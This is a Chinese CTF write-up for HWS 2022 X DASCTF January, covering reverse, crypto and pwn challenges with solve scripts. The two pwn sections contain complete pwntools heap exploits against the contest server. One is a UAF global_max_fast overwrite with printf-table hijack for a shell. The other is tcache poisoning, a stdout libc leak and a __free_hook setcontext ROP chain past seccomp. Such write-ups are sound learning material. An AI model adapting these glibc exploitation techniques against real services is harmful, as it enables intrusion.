HWS 2022 X DASCTF Jan

想起来也挺久没发过文章了,这次复制粘贴一下刷一下存在感

这次可能题目不太对口吧,取得的成绩不太理想,结果wp也就只是随便写写了

badPDF

去年原题,去Temp目录找cSi1r0uywDNvDu.tmp文件就行了,没什么好说的

就是flag格式没说清楚,也没想到是括号内内容,不然一血有了

flag{e27d3de27d3de27d3d7d3de27dde27d3}

Accelerate your time

直接反编译dex就行了

爆破即可

from hashlib import md5

username = 'Android'
check = [6, 28, 1, 19, 27, 5, 29]
password = ''.join([chr(check[i]^ord(username[i])) for i in range(len(check))])
print(password)

def encodeMD5(str):
    return md5(str).hexdigest()[8:24]

cmp_md5 = '1a9852e856816224'
for h in range(24):
    for m in range(60):
        for s in range(60):
            enc_md5 = encodeMD5(str(h)+str(m)+str(s))
            if encodeMD5('flag{' + enc_md5 + '}' + username + password) == cmp_md5:
                exit(enc_md5)

80d0169d22da3c35

babyrsa

上factordb查N,可以查到p和q,然后写脚本就是了

p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
N = p*q
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524

def decrypt(c,N,d):
	return pow(c,d,N)

def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y
 
def extendedGCD(a, b):
    #a*xi + b*yi = ri
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #ri = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #xi = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #yi = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)

if __name__ == "__main__":
    fn = (p - 1) * (q - 1)
    d = computeD(fn, e)
    print(d)
    m = decrypt(c,N,d)
print(hex(m)) # hwctf{01d_Curs3_c4Me_Again}

EasyVM

用十六进制编辑器替换一下je、jne、call的花指令,直接丢进IDA逆即可

逆出来的虚拟机长这样

CA 00 00 00 00 CB 00 00  00 00 CC CF C9 EE 00 00
00 CF D1 D3 01 FE C2 D2  39 00 00 00 D4 EC FF 00

mov r2,0
mov r3,0		; r3=idx
mov r1,ipt[r3]
xor r2,r1
mov r1,0xEE
xor r2,r1
cmp r2,flag[r3]
je +1
ret 0
inc r3
cmp r3,0x39
jne -20
ret 1

BE 36 AC 27 99 4F DE 44  EE 5F DA 0B B5 17 B8 68
C2 4E 9C 4A E1 43 F0 22  8A 3B 88 5B E5 54 FF 68
D5 67 D4 06 AD 0B D8 50  F9 58 E0 6F C5 4A FD 2F
84 36 85 52 FB 73 D7 0D  E3

写个脚本完事

from base64 import b64decode

flag = [0xBE,0x36,0xAC,0x27,0x99,0x4F,0xDE,0x44,0xEE,0x5F,0xDA,0x0B,0xB5,0x17,0xB8,0x68, \
        0xC2,0x4E,0x9C,0x4A,0xE1,0x43,0xF0,0x22,0x8A,0x3B,0x88,0x5B,0xE5,0x54,0xFF,0x68, \
        0xD5,0x67,0xD4,0x06,0xAD,0x0B,0xD8,0x50,0xF9,0x58,0xE0,0x6F,0xC5,0x4A,0xFD,0x2F, \
        0x84,0x36,0x85,0x52,0xFB,0x73,0xD7,0x0D,0xE3]

for i in range(len(flag)-1,0,-1):
    flag[i] ^= flag[i-1]^0xEE
flag[0] ^= 0xEE
print(flag)

k = [0x0A,0x0B,0x0C,0x0D]
for i in range(len(flag)):
    flag[i] = chr(flag[i]^k[i%4])
print(flag)

print(b64decode(''.join(flag)))

送分题

这题漏洞是uaf,因为是0x1000的size,free后直接进unsortedbin,直接用来打global_max_fast即可任意写堆地址,利用思路是覆盖__printf_arginfo_table,__printf_function_table(非0即可),然后触发printf直接getshell

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#p = process('./pwn')
p = remote('1.13.162.249',10001)

sla('size?\n',str(0xc30*2-8)) # arginfo(register_printf_function)
sla('size?\n',str(0x4a18*2-8)) # function(0x4af8)

sla('(y/n)\n','y')
ru('is:')
dump_addr = u64(rc(6) + b'\0\0')
libc_base = dump_addr-0x3ebca0
global_max_fast = libc_base+0x3ed940
log.warn('dump_addr --> %s',hex(dump_addr))
success('libc_base --> %s',hex(libc_base))
success('global_max_fast --> %s',hex(global_max_fast))

#attach(p,'b free\nc')
sla('name!\n',p64(global_max_fast-0x10)*2)
sla('(1:big/2:bigger)\n','1')
sla(':\n',b'a'*(ord('s')-2)*8 + p64(libc_base+0x4f3c2))

p.interactive() # flag{5hen_m3_5hi_kuai_1e_xin9_Qiu}

peach

这题虽然做出来了,但是差了几分钟,超时了(主要是爆破太浪费时间)

题目里有几个漏洞点,题目难点在于没有泄露libc地址的地方,开了seccomp

首先是Get操作,name的长度可以覆盖后面的堆指针和size值(但是这个漏洞用不到),然后是当用户提供一个范围外的size时可以构造uaf。

Eat操作没用,这里不解释了,纯摆设的功能。

Draw函数只能使用一次,可以堆溢出修改下一个chunk的地址

没什么特别的,略。

至于Throw函数,因为检测不严格,可以用来构造uaf

唯一一次uaf机会通过改末尾两个字节方式攻击tcache的fd到tcache结构体,劫持tcache结构体后可以一波骚操作。

首先准备一个unsortedbin,然后通过修改tcache结构体方式,也是改末尾两个字节来修改fd到libc的_IO_2_1_stdout_结构体,修改flag以及base的末位,泄露libc地址。

然后利用tcache结构体攻击__free_hook即可。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def new_uaf(i,n):
    sda(': ',p32(1) + b'\0')
    sla('? ',str(i))
    sda(': \n',n)
    sla(':\n','0')
def new(i,n,s,c):
    sda(': ',p32(1) + b'\0')
    sla('? ',str(i))
    sda(': \n',n)
    sla(':\n',str(s))
    sda(':\n',c)
def new_aft(i,n,s,c):
    sda(': ',p32(1) + b'\0')
    sla('?',str(i))
    sda(': ',n)
    sla(':',str(s))
    sda(':',c)
def free(i):
    sda(': ',p32(2) + b'\0')
    sla('?',str(i))
def edit(i,s,c):
    sda(': ',p32(4) + b'\0')
    sla('? ',str(i))
    sda(': \n',p32(s) + b'\0')
    sda('h \n',c)

succ = False
while not succ:
    try:
        #p = process('./peachw',aslr=True)
        p = remote('1.13.162.249',10003)

        sla('?\n','yes\0')
        ru('is ')
        stack_offset = int(ru('\n')[:-1])
        log.warn('stack_offset --> %s',hex(stack_offset))

        new(0,'a',0x248,'a')
        new(1,'a',0x248,'a')
        free(1)
        free(0)
        new_uaf(0,'a')

        edit(0,0x100,p64(0)*5 + p64(0x251) + b'\x10\xb0') # aslr
        new(1,'a',0x248,'a')
        new(2,'tcache',0x248,p64(0)*72)

        free(1)
        new(1,'libc',0x418,'a')
        new(3,'top',0x100,'a')
        free(1)
        free(2)
        new(2,'tcache',0x248,p64(0)*4 + p64(0x2000000) + p64(0)*38 + b'\x90\xb7') # -> unsorted
        free(3)
        new(3,'a',0x248,'a')
        free(2)
        new(2,'tcache',0x248,p64(0)*4 + p64(0x1000000) + p64(0)*38 + b'\x20\x77') # aslr

        new(1,'a',0x248,p64(0xfbad1800) + p64(0)*3 + b'\0')
        rc(0x18)
        dump_addr = u64(rc(8))
        log.warn('dump_addr --> %s',hex(dump_addr))
        assert hex(dump_addr)[:4] == '0x7f'
        succ = True
        libc_base = dump_addr-0x3d73e0
        hook_addr = libc_base+0x3dc8a8
        rop_entry = libc_base+0x4a830+53
        success('libc_base --> %s',hex(libc_base))
        success('hook_addr --> %s',hex(hook_addr))
        success('rop_entry --> %s',hex(rop_entry))

        free(2)
        new_aft(2,'tcache',0x248,p64(0)*3 + p64(0x10000) + p64(0)*30 + p64(hook_addr)) # 0x1c0
        free(2)

        # 0x234c3 : pop rax ; ret
        # 0x3dd058 : environ
        # 0x138a28 : mov rax, qword ptr [rax] ; ret
        # 0x17a41d : sub rax, r8 ; ret
        # 0x133ed5 : mov rdx, rax ; ret
        # 0x133a84 : add rdi, rdx ; mov qword ptr [r9], rdi ; ret
        # 0x78460 : puts
        # 0x3bf00 : exit
        chain = p64(libc_base+0x234c3) + p64(libc_base+0x3dd058) + p64(libc_base+0x138a28) \
              + p64(libc_base+0x17a41d) + p64(libc_base+0x133ed5) + p64(libc_base+0x133a84) \
              + p64(libc_base+0x78460) + p64(libc_base+0x3bf00)
        new_aft(2,'a',0x1b8,p64(rop_entry) + p64(0)*4 + p64(0x208) + p64(hook_addr) + p64(0)*13 + p64(hook_addr+0xa0) + chain)
        #attach(p,'b *(setcontext+53)\nc')
        free(2)

        p.interactive() # flag{G0od job~~~This is the real peach you get~}
    except:
        p.close()
        continue